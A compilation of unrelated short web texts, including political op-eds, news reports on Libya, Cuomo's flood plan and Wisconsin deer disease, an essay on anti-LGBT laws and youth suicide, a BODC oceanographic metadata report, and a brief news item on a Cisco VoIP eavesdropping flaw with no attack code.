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There was only one acceptable response from President Barack Obama when he was grilled over his immigration policies by Univision's Jorge Ramos and Maria Elena Salinas: "Lo siento" (I'm sorry).
There was only one acceptable response from President Barack Obama when he was grilled over his immigration policies by Univision's Jorge Ramos and Maria Elena Salinas: "Lo siento" (I'm sorry).
Instead of going on the defensive and retreating into his usual fantasy world where he and his administration do no wrong, and where it's those dastardly Republicans who prevented him from keeping his promise to make immigration reform a top priority, Obama should have offered up a mea culpa.
The president has made a mess of things. He broke campaign promises and, more importantly, broke up hundreds of thousands of families by deporting parents, and placing their U.S.-born children on this side of the border in foster care so that other people could raise them.
He did all this not - as some of his supporters argue - to lay the groundwork for comprehensive immigration reform. He did it to score points with conservatives and win back independents by trying to prove that he heard their concerns about illegal immigration, and that he was tough enough to address them. And he did it to please two vital elements of the Democratic Party's base: African-Americans and organized labor, both of whom claim that illegal immigration takes away jobs from U.S. workers and keeps wages low.
But his immigration policies got away from him. He let the genie out of the bottle by doing on a federal level what Arizona has done on a state level - namely, rope thousands of local police officers into the enforcement of federal immigration law. The program, Secure Communities - which was started under the George W. Bush administration - was put it into overdrive by Obama with the goal of expanding it nationwide by 2014. By forcing local police to act as surrogates for immigration agents, the administration was able to round up and deport more than 1.5 million people. But it also eliminated police and prosecutorial discretion and ensured that people who years ago might have been left alone - for instance, victims of domestic violence - were arrested and deported.
Obama is not a bad person. But when it comes to immigration, and the pain inflicted on the Latino immigrant community in this country, he's been a bad president.
You'll never hear any contrition for this, from Obama or his surrogates. It's not in the president's DNA to accept responsibility for his excesses, mistakes or failures. Harry Truman said that the buck stopped here. Obama seems to think the buck stops down the block.
When pressed by Ramos and Salinas about his failures on immigration, Obama trotted out all the old and familiar excuses, justifications and half-truths that he and his surrogates have used for the last two years to explain away their policy of "broken promises, broken families." This included the assertions that have already been discredited, like the claim that most of those who were deported had criminal convictions. Not so.
But what really was outrageous was when Obama blamed Republicans - including Sen. John McCain, who had to slug it out with members of both parties to get a hearing for the bill he co-authored with the late Sen. Edward Kennedy - for the fact that as president, he didn't even propose an immigration reform bill to Congress. These are the same Republicans who were in the minority for the first two years of his tenure, and couldn't have stopped immigration reform if they wanted to.
And this is the same Barack Obama who, while in the Senate in 2007, joined four other Democrats in proposing "poison pill" amendments intended to kill immigration reform by peeling off - at the behest of organized labor - essential language calling for temporary guest workers. Without that language, Republicans withdrew their support. And because Democrats weren't unanimous, the bill died.
When Congress debated immigration reform during the Bush administration, 20 Senate Republicans voted in favor of a proposal to legalize the undocumented. Why? It's because business loves immigrant workers, and Republicans love pleasing business. The real obstacle to immigration reform has always been Democrats who - despite their "fool-me-once, fool-me-twice" rhetoric aimed at Latinos - love nothing more than pleasing organized labor.
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Making Darkness Visible: Seeing the Relationship of Laws, Homophobia, and Suicide
By fogcityjohn
November 15, 2010
I hadn't intended to write about the topic of suicide among lesbian, gay, bisexual, and transgender (LGBT) youth. The recent, horrific rash of suicides among young people bullied and harassed because of their actual or perceived sexual orientation has already received abundant attention, all of it well deserved. But as a lawyer, I'm disappointed that there's an aspect of this issue that hasn't been much discussed. To me, an important but unmentioned factor in this is the relationship between homophobic laws and the psychological health of LGBTs. So after a little background, let me see if I can shed some light on what I believe that relationship to be.
The issue of suicide is something I know personally, because many years ago, I myself was one of those bullied young people. Like them, I desperately wanted the torment I endured at the hands of my peers to end. I felt trapped and alone, because I had no one to whom I could turn for help. As the years stretched on, the taunting and physical and emotional harassment continued unabated, and I began to believe that death offered the only way out. I dreamed of ending my own life, thinking that in the grave I would at least find peace. Fortunately, I lacked the courage to actually perform the deed, and eventually I escaped the suffocating atmosphere of elementary and high school to find a better life.
Life got better for me, and I permit myself to believe that it will get better for most of the young LGBTs who are currently the subjects of physical and emotional abuse. To his enormous credit, columnist Dan Savage has tried to bring this message of hope to beleaguered and desperate LGBT youth with his "It Gets Better Project" on YouTube. The project has been so successful that some of our country's most prominent public officials -- President Obama, Secretary of State Hillary Clinton, and House Speaker Nancy Pelosi -- have recorded videos for it. While I commend all three of them for their efforts, I think that as public officials, they have a responsibility to address the role that legal discrimination plays in creating the homophobic and transphobic attitudes that motivate bullies and bring such despair to gender-variant youth.
Many people don't stop to consider how laws that require discrimination against LGBTs help create and perpetuate a climate of prejudice. I strongly believe, however, that laws like the military's "Don't Ask, Don't Tell" policy (DADT) and the so-called Defense of Marriage Act (DOMA) play an important role in fostering bigotry against LGBT Americans. Let me explain why.
Viewed most broadly, laws are the formal expression of society's value judgments. They can be seen as a kind of official statement of position on a particular subject. Criminal laws, for example, define acts that are so unacceptable society will punish their commission. So when a government, be it federal, state, or local, enacts a statute mandating discrimination on the basis of sexual orientation or gender identity, that government declares -- in the most solemn and official manner possible -- that LGBTs are an inferior caste.
That's what DADT does when it declares that "[t]he presence in the armed forces of persons who demonstrate a propensity or intent to engage in homosexual acts would create an unacceptable risk to the high standards of morale, good order and discipline, and unit cohesion that are the essence of military capability." (10 U.S.C. § 654(a)(15).) The same is true of DOMA, which Congress passed "to define and protect the institution of marriage" by declaring that "the word 'marriage' means only a legal union between one man and one woman as husband and wife." With that simple definition, Congress made gay and lesbian relationships strangers to federal law. Thirty-nine states have copied Congress and enacted their own prohibitions on same-sex marriage. Typically, voters have approved these bans by overwhelming margins after campaigns that have demonized gays and lesbians who want to marry as a threat to society.
If you're skeptical of the connection between laws and homophobia, you should know that there's research to back me up. Studies show that statewide campaigns to ban same-sex marriage are harmful to the mental health of lesbians, gay men, and bisexuals. According to the American Psychological Association, anti-gay "legislative and initiative actions can also result in psychological distress for lesbians, gay men, and bisexual people. Immediate consequences include fear, sadness, alienation, anger, and an increase in internalized homophobia." And one study has found a correlation between same-sex marriage bans and an increase in rates of HIV infection among gay men.
Homophobic laws send a pair of dangerous and damaging messages to society at large. They tell LGBTs, including LGBT youth, that they are second class and less worthy than their straight peers. At the same time, they give the nod to bullies that it's okay to do violence to a group of people whom the law itself says are inferior. No one should be surprised, then, that violence against LGBT youth is the result, or that LGBT youth sink into despair and thoughts of suicide. When those entrusted with making laws enact statutes requiring discrimination against LBGTs, they help create and sustain an atmosphere of hatred and bigotry.
So while I welcome the encouraging words from President Obama, Secretary Clinton, and Speaker Pelosi, I want them to realize that words are not enough. If they are serious about combating suicide among our community's youth, then they must devote themselves to the task of dismantling this country's appalling system of legal discrimination against LGBTs. And doing that will require them to do much more than make videos.
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TRIPOLI, Libya (AP) — Guards at a southern Libyan oil field have shut down the facility in protest over back pay and are demanding better living conditions, an oil official said Friday.
The official from the Mellitah Oil and Gas complex said that 45 guards on Thursday forced the closure of the Elephant field, about 1,000 kilometers (620 miles) southwest of Tripoli.
The complex is a joint venture between Libya's state-run National Oil Corporation and Italy's largest energy company, Eni SpA. The field produces 74,000 barrels a day, while Libya produces 1.6 million barrels a day.
The guards at Elephant gave authorities 10 days to meet their demands, said the official, who spoke on condition of anonymity because he was not authorized to speak to the media.
The guards are also demanding that the National Oil Corp. open a branch in the south and give their tribesmen priority when hiring workers, he added.
Protests at oil and gas facilities have been recurring over the year and a half since the ouster and killing in 2011 of Libya's longtime dictator, Moammar Gadhafi. The central government remains weak and has been challenged by powerful militias, which fought Gadhafi's forces as part of rebel groups in the eight-month civil war.
On May 20, militiamen attacked Mellitah's natural gas complex in the west near Zwara, about 110 kilometers (70 miles) from Tripoli, injuring two guards and stealing weapons and military vehicles.
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Fired Manchester police officer Stephen Coco was supposed to serve a year behind bars for felony hit and run. He went home after 72 days, one fifth of his sentence. What an outrage.
Coco, who pleaded guilty to hitting two teenage boys with his car while driving home from a party one night, gets to work and enjoy the comforts of his home thanks to Hillsborough County Corrections Superintendent David Dionne. Superintendents are authorized under state law to modify the terms under which jail sentences are served. Dionne released Coco so he could serve out his term at home. Coco has a curfew and must report to authorities daily.
Under the law, prosecutors can object to the modified sentences, and Sullivan County Attorney Marc Hathaway, who prosecuted this case, says he objected. On Monday Judge Gillian Abramson took his objection under advisement. She was the same judge who rejected Hathaway's earlier attempt to accept a plea deal in which Coco agreed to plead guilty to misdemeanors rather than felonies. We expect she will take Hathaway's objection seriously, as she should.
"I just think Mr. Coco is wiggling out of everything," Ray Drukker, father of one of the victims, said last fall. That fear appears to have been realized.
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Minitaur's raison d'être is to bring a bit of that classic analogue thunder to today's musician in an efficiently designed monophonic knob-per-function package that won't have you eBay-ing off your Van der Graaf Generator collection to help pay for it. The three versions of the beloved Moog Taurus bass pedals that precede it have bequeathed a good chunk of their DNA to the new synth.


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The event, which will raise money to benefit the radio station on its 35th birthday, features Chomsky, the political theorist and activist who is also professor of linguistics at the Massachusetts Institute of Technology.
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If there is one thing the internet is good for, it's networking - finding the people who have the skills and expertise that can give you the help you need. Aside from rocket science, there really isn't anything more technical on this planet than communications, specifically computer networks, telephone systems, and voice over internet phone systems. Not only do most manufacturers of this equipment not have direct sales outlets, they do not even pick up the phone if you haven't be certified and trained in their product set. That is where the VAR (Value Added Reseller) Network comes in - to act as your conduit to these telephone and network equipment companies (such as Cisco, Avaya, Lucent, Mitel, Nortel, PolyCom, ShoreTel, and 3Com just to name a few). They can sell you the networking gear and IP PBX phone system equipment you need and, more importantly, set up the system for you exactly the way you want it.
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It is said that the problem with the younger generation — any younger generation — is that it hasn't read the minutes of the last meeting. President Obama, forever young, has convenient memory loss: It serves his ideology. His amnesia concerning the policies that produced the robust recovery from the more severe (measured by its 10.8 percent unemployment rate) recession of 1981-82 has produced policies that have resulted in 0.1 percent economic growth in 2014's first quarter — the 56th, 57th and 58th months of the recovery from the recession that began in December 2007.
June begins the sixth year of the anemic recovery from the 18-month recession. Even if what Obama's administration calls "historically severe" weather — a k a, winter — reduced GDP growth by up to 1.4 percentage points, growth of 1.5 percent would still be grotesque.
America has a continental market, a reasonably educated and remarkably — considering the incentives for not working — industrious population, an increasingly (because of declining private-sector unionization) flexible labor market, an efficient financial system, extraordinary research universities to fuel innovation and astonishing energy abundance. Yet the recovery's two best growth years (2.5 percent in 2010 and 2.8 percent in 2012) are satisfactory only when compared to 2011 and 2013 (1.8 and 1.9, respectively).
The reason unemployment fell by four-tenths of a point (to 6.3 percent) in April while growth stalled is that 806,000 people left the labor force. The labor-force-participation rate fell by four-tenths of a point to a level reached in 1978, which was during the Carter-era stagflation and early in the surge of women into the workforce.
There are about 14.5 million more Americans than before the recession but nearly 300,000 fewer jobs, and household income remains below the pre-recession peak.
Paul Volcker, whose nomination to be chairman of the Federal Reserve Board was Jimmy Carter's best presidential decision, raised interest rates to put the nation through a recession to extinguish the inflation that, combined with stagnant growth, ruined Carter's presidency. Then came the 1983-88 expansion, when growth averaged 4.6 percent, including five quarters over 7 percent.
Ronald Reagan lightened the weight of government as measured by taxation and regulation. Obama has done the opposite. According to the annual "snapshot of the federal regulatory state" compiled by the Competitive Enterprise Institute's Clyde Wayne Crews Jr., four of the five largest yearly totals of pages in the Federal Register — the record of regulations — have occurred during the Obama years.
The more than $1.1 trillion of student-loan debt — the fastest-growing debt category, larger than credit-card or auto-loan debt — is restraining consumption, as is the retirement of baby boomers. In 2012, more than 70 percent of college graduates had student-loan debts averaging about $30,000.
This year's diploma recipients are entering an economy where more than 40 percent of recent college graduates are either unemployed or in jobs that don't require a college degree. This is understandable, given that 44 percent of the job growth since the recession ended has been in food services, retail clerking or other low-wage jobs.
In April, the number of persons under 25 in the workforce declined by 484,000. Unsurprisingly, almost one in three (31 percent) persons 18 to 34 are living with their parents, including 25 percent who have jobs.
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However, a Wall Street Journal headline announces that Washington has a plan: "US Backs Off Tight Mortgage Rules." It really is true: Life is not one damn thing after another, it is the same damn thing over and over.
There is, however, something new under the sun. The Pew Research Center reports that Americans 25 to 32 — "millennials" — constitute the first age cohort since World War II with higher unemployment or a greater portion living in poverty than their parents at this age. But today's millennials have the consolation of having the president they wanted.


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ALBANY, N.Y. – New York Gov. Andrew Cuomo (KWOH'-moh) wants the ability to shutter subways, tunnels and airports from floodwaters and wants hospital backup power sources placed on higher ground as part of a $9 billion plan to protect New York City from the next superstorm.
The Democrat is forcing the issue into the traditional discussion that's usually focused on basic recovery after a disaster. He said Tuesday the government must take preventive measures to avoid future loss of life and billions of dollars more in damage.
Cuomo says the cost of recovery from economic loss and damage in the state after Superstorm Sandy struck last month is $32.8 billion. He says another $9.08 billion is needed for preventive measures.
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Samuel Pyle wants to be a normal teenager, but he can't.
He wants to play soccer and run track just like his teammates. He does, but he's got an edge.
Education is the most important thing to him, but he's a 19-year-old entering his senior year of high school and he's got a lot of catching up to do.
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Cisco VoIP bug poses eavesdropping risk
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A bug involving 7900 Series IP phones from Cisco creates a means for hackers to eavesdrop on calls.
The flaw stems from security shortcomings in the Extension Mobility feature of the phones, which allows users to configure a Cisco IP phone as their own. The feature is disabled by support, which is just as well because when enabled the feature fails to encrypt signalling communications between a device and an internal web server. This, in turn, creates a means for miscreants to sniff out authentication credentials. These credentials might subsequently be misused to cut off users or eavesdrop on streaming media connections associated with calls.
However, an attack along these lines will only succeed in cases where would-be hackers are already in possession of valid Extension Mobility authentication credentials. Attackers would also need to have access to a targeted network. Although remote hacking is theoretically possible, a bigger danger would appear to stem from internal attacks.
In a throwback to the early days of wiretapping, successful attacks based on the vulnerability leave a tell-tale noise on the wire.
"Internal testing by Cisco also revealed that the described attack produced static noise on the IP phone while it was under attack," Cisco said in an advisory that explains the issue and details possible workarounds.
The network giant credits researcher Joffrey Czarney of Telindus with discovering the flaw. Czarney presented a paper on his research at the recent Hack.Lu 2007 security conference, which was held last month in Luxembourg. ®


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Part epic of Texas, part classic coming-of-age story, part unflinching portrait of the bloody price of power, The Son is an utterly transporting novel that maps the legacy of violence in the American West through the lives of the McCulloughs, an ambitious family as resilient and dangerous as the land they claim.
Eli McCullough is thirteen years old when a marauding band of Comanche storm his homestead and take him captive. Brave and clever, Eli quickly adapts to Comanche life, carving a place as the chief's adopted son, and waging war against their enemies, including white men. But when disease, starvation, and overwhelming numbers of armed Americans decimate the tribe, Eli finds himself alone. Neither white nor Indian, civilized or fully wild, he must carve a place for himself in a world in which he does not fully belong—a journey of adventure, tragedy, hardship, grit, and luck that reverberates in the lives of his progeny.


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"We want to make the show as good creatively as we can."
Prospect Park's Jeff Kwatinetz reached out to Soaps.com exclusively to answer burning questions surrounding the online migration of "All My Children" and "One Life To Live" and to give us a glimpse of what to expect for the upcoming online reboots.
Though taping for "One Life To Live" isn't totally confirmed yet, "All My Children" will begin shooting scenes by the end of February. There will be four 30 minute episodes a week, Monday through Thursday, with five minutes of commercials. The advantages of this being advertisers will pay more for online viewing, which will reach more people. Details for Friday's episodes are still in the works but are planning to be a recap of sorts, containing special interviews and footage. "They're still being worked out," stated Kwatinetz.
One of the biggest questions fans have been asking is if there will be fees for the online viewing of their Pine Valley and Llanview soaps. "There will be multiple ways for them to watch," Kwatinetz explained. "Numerous ways to watch, one being free with commercials."
Another big question we've all been curious to know is whether or not the Llanview actors, Kristen Alderson (Starr Manning), Michael Easton (John McBain) and Roger Howarth (Todd Manning), who have since joined the cast and crossed over to "General Hospital" will be rejoining their first home on "One Life To Live." Kwatinetz shared, "It's not worked out yet. They [ABC] came to us and said, 'Will you guys license us these characters?' We [Prospect Park] didn't know 100% if we were going forward, so we allowed it. We wanted to do the right thing by the actors."
After the soap operas aired their last episodes on ABC, there were various opportunities for fans to purchase parts of the sets, which made many believe all the sets were sold. In regards to whether or not Prospect Park purchased any of the Pine Valley or Llanview sets the answer is no. "We found that some weren't in the greatest condition and not worth saving. There will be new ones," Kwatinetz divulged. "I've seen some of the drawings for our new ones."
There have always been limitations to how far networks can go in regards to the more risqué storylines. When asked what to expect for the online version, Kwatinetz stated, "This is what I think is important… We don't want to do anything to shock people or to do things to make a statement. The idea is to do what's best for the storytelling. The advantages of being online give the actors and writers more creativity. We can't go too far because we still are advertiser based and certainly don't want to offend people. We want the storylines to be more relevant to current issues and what people are going through - though somewhat edgier and sexier at times. But it's all to service to story."
Though Kwatinetz couldn't give any teasers for what's to come for the first episodes, he wanted to thank the fans for all of their support and for believing in them. "I hope that everyone understands we really care about making these shows the best they can be and taking the heart and all the great things about them and continuing them…giving actors and writers a little more freedom. We have the best intentions and want to make the shows as good creatively as we can. That's our goal."
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Metadata Report for BODC Series Reference Number 1060443
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Problem Reports
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Narrative Documents
Project Information
Data Activity or Cruise Information
Fixed Station Information
BODC Quality Flags
SeaDataNet Quality Flags
Metadata Summary
Data Description
Data Identifiers
Time Co-ordinates(UT)
Spatial Co-ordinates
Problem Reports
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Narrative Documents
LI-COR LI-193 Spherical Quantum Sensor
The LI-193 Underwater Spherical Quantum Sensor measures irradiance over the photosynthetically active radiation (PAR) spectral range (400-700 nm). The instrument measures photon flux from all directions, which is often termed photosynthetic photon flux fluence rate (PPFFR) or quantum scalar irradiance. This measurement is particularly important when studying phytoplankton, which utilize radiation from all directions for photosynthesis.
The LI-193 can operate down to 350 m and is fitted with a blue-enhanced silicon photovoltaic detector. Two versions of the instrument are available (193SA and 193SB). These use different connector types for the underwater cable, but the sensors operate in the same manner.
Sensor Specifications
|Absolute Calibration
|± 5 % in air traceable to NBS.
|Typically 7 µA per 1000 µmol s-1 m-2
|Maximum deviation of 1 % up to 10,000 µmol s-1 m-2.
|< ± 2 % change over a 1 year period.
|Response Time
|10 µs.
|Temperature Dependence
|± 0.15 % per °C maximum.
|Angular Response
|< ± 4% error up to ± 90° from normal axis.
|< ± 3 % error over 360 ° at 90 ° from normal axis.
|High stability silicon photovoltaic detector (blue enhanced).
|Sensor Housing
|Corrosion resistant metal with acrylic diffuser for both saltwater and freshwater applications with an injection moulded, impact resistant, acrylic diffuser. Units have been tested to 500 psi (3400 kPa) (350 meters).
|142 g
|Requires 2222UWB Underwater Cable
Further information can be found in the manufacturer's specification sheet and instruction manual.
RRS Bransfield Cruise AMT6B CTD Instrumentation
Sea-Bird Electronics SEACAT CTD V3.1 SN2474.
There was no bottle rosette.
Wet Labs WETStar fluorometer, WS3S-297P
Licor LI-193 Quantum Sensor, SPQA.
Wetlabs C-star redlight 25cm pathlength transmissometer
Sea-Bird SBE 19 and SBE 19plus SEACAT Profiler CTDs
The SBE 19 SEACAT Profiler is a self-contained, battery powered, pumped CTD system designed to measure conductivity, temperature, and pressure in marine or fresh water environments to depths of 10,500 meters. It was replaced by the SBE 19plus model in 2001. An updated version of this instrument is the SBE 19plus V2, which incorporates an electronics upgrade and additional features, with six differentially amplified A/D input channels, one RS-232 data input channel, and 64 MB FLASH memory.
The standard CTD unit comes with a plastic housing (rated to 600 m), although this can be replaced by titanium housing for depths up to 7000 m. It is typically used for CTD profiling although a conversion kit is available for mooring deployments. The CTD can also be attached to an SBE 36 CTD Deck Unit and Power/Data Interface Module (PDIM) for real-time operation on single-core armored cable up to 10,000 m.
|SBE 19plus
Range: -5 to +35 °C
Accuracy: 0.01 °C
Resolution: 0.001 °C
Calibration: +1 to +32 °C*
Range: -5 to +35 °C
Accuracy: 0.005 °C
Resolution: 0.0001 °C
Calibration: +1 to +32 °C*
Range: 0 to 7 S m-1 (0 to 70 mmho cm-1)
Accuracy: 0.001 S m-1
Resolution: 0.0001 S m-1
Calibration: 0 to 7 S m-1. Physical calibration over the range 1.4 - 6 S m-1*
Range: 0 to 9 Sm-1
Accuracy: 0.0005
Resolution: 0.00005 (most oceanic waters, resolves 0.4 ppm in salinity); 0.00007 (high salinity waters, resolves 0.4 ppm in salinity); 0.00001 (fresh waters, resolves 0.1 ppm in salinity)
Calibration: 0 to 9 S m-1. Physical calibration over the range 1.4 - 6 S m-1*
|Strain gauge pressure sensor
Range: 0 to100, 150, 300, 500, 1000, 1500, 3000, 5000, 10000 or 15000 psia
Accuracy: 0.25% of full scale range (100 - 1500 psia); 0.15% of full scale range (3000 - 15000 psia)
Resolution: 0.015% of full scale
Calibration: 0 to full scale in 20% steps
Range: 0 to 20, 100, 350, 1000, 2000, 3500 or 7000 m
Accuracy: 0.1% of full scale range
Resolution: 0.002% of full scale range
Calibration: ambient pressure to full scale range in 5 steps
*Measurements outside this range may be at slightly reduced accuracy due to extrapolation errors.
Options and accessories
Additional sensors can be attached to the CTD, including:
- high accuracy Paroscientific Digiquartz pressure sensor (depth range 0 to 20, 60, 130, 200, 270, 680, 1400, 2000, 4200, 7000 or 10500 m; accuracy 0.02% of full scale; resolution 0.0025% of full scale)
- Dissolved Oxygen (SBE 43 DO Sensor)
- pH* (SBE 18 pH Sensor or SBE 27 pH/ORP Sensor)
- fluorescence
- radiance (PAR)
- light transmission
- optical backscatter (turbidity)
The standard SBE 5M pump may be replaced by an SBE 5P (plastic housing) or 5T (titanium housing) pump for use with dissolved oxygen and/or other pumped sensors. Further details can be found in the manufacturer's SBE 19plus V2 instrument specification or theSBE 19 andSBE 19 plus user guides.
WET Labs WETStar Fluorometers
WET Labs WETStar fluorometers are miniature flow-through fluorometers, designed to measure relative concentrations of chlorophyll, CDOM, uranine, rhodamineWT dye, or phycoerythrin pigment in a sample of water. The sample is pumped through a quartz tube, and excited by a light source tuned to the fluorescence characteristics of the object substance. A photodiode detector measures the portion of the excitation energy that is emitted as fluorescence.
By model:
|Chlorophyll WETStar
|CDOM WETStar
|Uranine WETStar
|Rhodamine WETStar
|Phycoerythrin WETStar
|Excitation wavelength
|460 nm
|370 nm
|485 nm
|470 nm
|525 nm
|Emission wavelength
|695 nm
|460 nm
|530 nm
|590 nm
|575 nm
|0.03 µg l-1
|0.100 ppb QSD
|1 µg l-1
|0.03-75 µg l-1
|0-100 ppb; 0-250 ppb
|0-4000 µg l-1
All models:
|Temperature range
|Depth rating
|600 m
|Response time
|0.17 s analogue; 0.125 s digital
|0-5 VDC analogue; 0-4095 counts digital
Further details can be found in the manufacturer's specification sheet, and in the instrument manual.
WETLabs C-Star transmissometer
This instrument is designed to measure beam transmittance by submersion or with an optional flow tube for pumped applications. It can be used in profiles, moorings or as part of an underway system.
Two models are available, a 25 cm pathlength, which can be built in aluminum or co-polymer, and a 10 cm pathlength with a plastic housing. Both have an analog output, but a digital model is also available.
This instrument has been updated to provide a high resolution RS232 data output, while maintaining the same design and characteristics.
|10 or 25 cm
|370, 470, 530 or 660 nm
~ 20 nm for wavelengths of 470, 530 and 660 nm
~ 10 to 12 nm for a wavelength of 370 nm
|Temperature error
|0.02 % full scale °C-1
|Temperature range
|0 to 30°C
|Rated depth
600 m (plastic housing)
6000 m (aluminum housing)
Further details are available in the manufacturer's specification sheet or user guide.
RRS Bransfield Cruise AMT6B CTD Processing
Originator's Processing
The CTD profiles were processed onboard using Sea-Bird's data processing software.
Nominal fluorescence was calculated from fluorometer voltage during processing of the raw Sea-Bird files. Manufacturer's calibrations were applied.
PAR was calculated from PAR sensor voltage output during processing of the raw Sea-Bird data files. Manufacturer's calibrations were applied.
Beam attenuation was calculated from transmissometer voltage output during the processing of the raw Sea-Bird files. Manufacturer's calibrations were applied.
BODC data processing
The data files were sent to BODC in Sea-Bird's data processing software output. All available channels were listed into ASCII format. Non-null channels were then converted to PXF, a BODC internal format. The data were processed from 1Hz averaged down- and upcast data. Sigma-theta was calculated and output from the raw data during the conversion to PXF format.
Originator's Parameter Originator's Units Description BODC code BODC Units Comments Pressure decibars Pressure PRESPR01 decibars - Temperature °C Temperature TEMPCU01 °C - Salinity - Salinity PSALCU01 - - chlorophyll concentration mg m-3 Nominal fluorescence CPHLPM01 mg m-3 - Irradiance µE m-2 s-1 Downwelling PAR irradiance IRRDPP01 µE m-2 s-1 Calculated from PAR meter voltage using manufacturer's coefficients Beam attenuation coefficient m-1 Beam attenuation ATTNMS01 m-1 Calibrated to zero in clear water - - Salinity - calibrated PSALCC01 - Calibrated against bottle salinity data - - Calibrated fluorescence CPHLPS01 mg m-3 Calibrated against bottle extracted chl-a data - - Potential temperature POTMCV01 °C Computed using UNESCO POTEMP function - - Sigma-theta SIGTPR01 kg m-3 Computed using UNESCO SVAN function
The PXF data were compared with the original data files to ensure that no errors had been introduced during the conversion process. The data channels were then screened on a graphics workstation using in-house visualisation software. This allows multiple channels to be viewed simultaneously. It was obvious from initial screening that the upcast data were of higher quality than the downcast data - this was confirmed by the data originator, Gerald Moore. The start and end-points of the upcast, therefore, were marked. All spurious and null data were flagged with appropriate BODC quality control flags.
The following notes were made during the screening of AMT6B CTD data.
The salinity channel on cast B099S2 was very noisy and has been heavily flagged.
There was no upcast for B100S1, so the downcast was screened. Beam attenuation and chlorophyll were both very high above 8m, but these have not been flagged as they could be real data.
For B106S, the beam attenuation signal was very noisy with some high values. The downcast showed fairly constant data, so the upcast data have been flagged as suspect. The salinity channel on this cast was very noisy and has been heavily flagged.
Loading into the BODC database
After the data had been screened and quality controlled, the data were loaded into the BODC database under the Oracle RDBMS.
The data from all 25 casts were loaded into the data tables.
The pressure sensor had a mean reading of 0.4496 decibar while the CTD was logging in air - this was identified during BODC processing. A pressure correction was, therefore, applied to the data when they were listed from the BODC database.
PRESPR01(corr) = PRESPR01(raw) - 0.4496 decibar (BODC calibration 2563).
No reversing thermometer data are available to check the quality of the temperature data, but the sensor was calibrated before and after the cruise.
There were a number of surface bottle samples that were analysed on the bench salinometer at the time of the CTD cast at each station. These were compared with surface data from the CTD in order to check the quality of the salinity data. One outlier was removed from the population data set. The following relationship has been applied to calibrate the CTD salinity channel.
PSALCC01 = 0.9935 * PSALCU01 + 0.2603 (BODC calibration 2823; r2 = 0.9996; N = 21)
The nominal chlorophyll-a data from the CTD were compared with data from HPLC measurements made on bottles taken at the time of the CTD cast at each station. Four outliers were removed from the population data set. The following relationship has been applied to the CTD data.
CPHLPS01 = 0.3096 * CPHLPM01 - 0.0679 (BODC calibration 2843; r2 = 0.9605; N= 23)
This relationship was dominated by sample data points at high chlorophyll-a concentrations. The data at low concentrations showed a high degree of scatter.
Project Information
The Atlantic Meridional Transect (AMT) - Phase 1 (1995-2000)
Who was involved in the project?
The Atlantic Meridional Transect (AMT) programme was designed by and implemented as a collaboration between Plymouth Marine Laboratory (PML) and Southampton Oceanography Centre (SOC). The programme was hosted by Plymouth Marine Laboratory and involved additional researchers from UK and international universities throughout its duration.
What was the project about?
When AMT began in 1995 the programme provided a platform for international scientific collaboration, including the calibration and validation of SeaWiFs measurements and products. The programme provided an exceptional opportunity for nationally and internationally driven collaborative research and provided a platform for excellent multi-disciplinary oceanographic research. As an in situ observation system, the data collected by the AMT consortium informed on changes in biodiversity and function of the Atlantic ecosystem during this period of rapid change to our climate and biosphere.
The scientific aims were to assess:
- mesoscale to basin scale phytoplankton processes
- the functional interpretation of bio-optical signatures
- the seasonal, regional and latitudinal variations in mesozooplankton dynamics
When was the project active?
The first phase of the AMT programme ran from 1995 to 2000 and consisted of a total of 12 cruises. A second phase of funding allowed the project to continue for the period 2002 to 2006 with a further 6 cruises.
Brief summary of the project fieldwork/data
The AMT programme undertook biological, chemical and physical oceanographic research during the annual return passage of the RRS James Clark Ross between the UK and the Falkland Islands or the RRS Discovery between the UK and Cape Town, a distance of up to 13,500 km. This transect crossed a range of ecosystems from sub-polar to tropical and from euphotic shelf seas and upwelling systems to oligotrophic mid-ocean gyres. The transect route was covered north-south in September/October and south-north in April/May of each year.
The measurements of hydrographic and bio-optical properties, plankton community structure and primary production completed on the first 12 transects (1995-2000) represent the most coherent set of repeated biogeochemical observations over ocean basin scales. This unique dataset has led to several important discoveries concerning the identification of oceanic provinces, validation of ocean colour algorithms, distributions of picoplankton, identifying new regional sinks of pCO2 and variability in rates of primary production and respiration.
Who funded the project?
The programme was funded by the Natural Environment Research Council (NERC) and further support was received from the National Aeronautics and Space Administration (NASA) with equipment and funding from the Sea-viewing Wild Field-of-view Sensor (SeaWiFS) project.
Data Activity or Cruise Information
|Cruise Name
|Departure Date
|Arrival Date
|Principal Scientist(s)
|Gerald Moore (Plymouth Marine Laboratory)
|RRS Bransfield
Complete Cruise Metadata Report is available here
Fixed Station Information
No Fixed Station Information held for the Series
BODC Quality Control Flags
The following single character qualifying flags may be associated with one or more individual parameters with a data cycle:
|Below detection limit
|In excess of quoted value
|Taxonomic flag for affinis (aff.)
|Beginning of CTD Down/Up Cast
|Taxonomic flag for confer (cf.)
|Thermometric depth
|End of CTD Down/Up Cast
|Non-taxonomic biological characteristic uncertainty
|Extrapolated value
|Taxonomic flag for single species (sp.)
|Improbable value - unknown quality control source
|Improbable value - originator's quality control
|Improbable value - BODC quality control
|Null value
|Improbable value - user quality control
|Replacement value
|Estimated value
|Interpolated value
|Control value
|Excessive difference
SeaDataNet Quality Control Flags
The following single character qualifying flags may be associated with one or more individual parameters with a data cycle:
|no quality control
|good value
|probably good value
|probably bad value
|bad value
|changed value
|value below detection
|value in excess
|interpolated value
|missing value
|value phenomenon uncertain
|value below limit of quantification


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Two Wisconsin deer have tested positive for chronic wasting disease in Portage and Juneau counties – the first CWD-positive wild deer found in those counties, the state Department of Natural Resources reported Wednesday.
Both deer were killed during the Wisconsin gun season in November.
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What are the Boston bombing suspect's legal rights?
BOSTON (CNN) — Dzhokar Tsarnaev, 19, the primary suspect in Monday's bombings at the Boston Marathon, was taken into custody Friday night.
When Tsarnaev was captured, authorities indicated they did not intend to read him his Miranda rights, which include the right to remain silent, the right to an attorney regardless of financial circumstances and the warning that any statements can be used to aid his prosecution. It's an address made famous by countless TV police procedurals.
The decision not to "Mirandize" Tsarnaev has sparked debate among advocates, lawyers and legislators. What was the thinking behind the decision? What impact could it have on his case?
Here are the answers to five questions about the decision.
Does a suspect have to be read Miranda rights?
Law enforcement officials only have to Mirandize a suspect if they intend to use his statements at trial. In the Tsarnaev case, however, the federal government is invoking the public safety exception, a Justice Department official told CNN on condition of anonymity. It's a designation that allows investigators to question a suspect before apprising him of his rights when they believe there is an imminent public safety threat.
The public safety exception dates back to a 1984 case, New York v. Quarles. Its most recent interpretation dates back to a 2010 memo by the Obama Justice Department, and it was explained in a 2011 FBI bulletin.
